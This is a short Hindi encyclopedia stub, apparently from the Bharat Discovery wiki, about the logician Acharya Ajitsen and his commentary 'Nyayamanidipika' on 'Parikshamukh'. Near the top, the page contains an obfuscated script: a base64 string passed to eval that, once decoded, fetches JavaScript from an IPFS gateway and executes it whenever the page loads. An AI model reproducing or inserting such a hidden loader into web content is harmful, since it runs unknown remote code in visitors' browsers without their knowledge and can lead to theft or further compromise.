अजितसेन
भारत डिस्कवरी प्रस्तुति
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
पन्ना बनने की प्रक्रिया में है। आप इसको तैयार करने में सहायता कर सकते हैं। |
आचार्य अजितसेन / Acharya Ajitsen
- ये भी वि0 सं0 18वीं शती के तार्किक हैं।
- इन्होंने 'परीक्षामुख' पर 'न्यायमणिदीपिका' नाम की व्याख्या लिखी है, जो उसकी पाँचवीं टीका है।
- इसका उल्लेख चारुकीर्ति ने 'प्रमेयरत्नालंकार<balloon title="प्रमेयरत्नालंकार,पृ0 181" style=color:blue>*</balloon>' में किया है।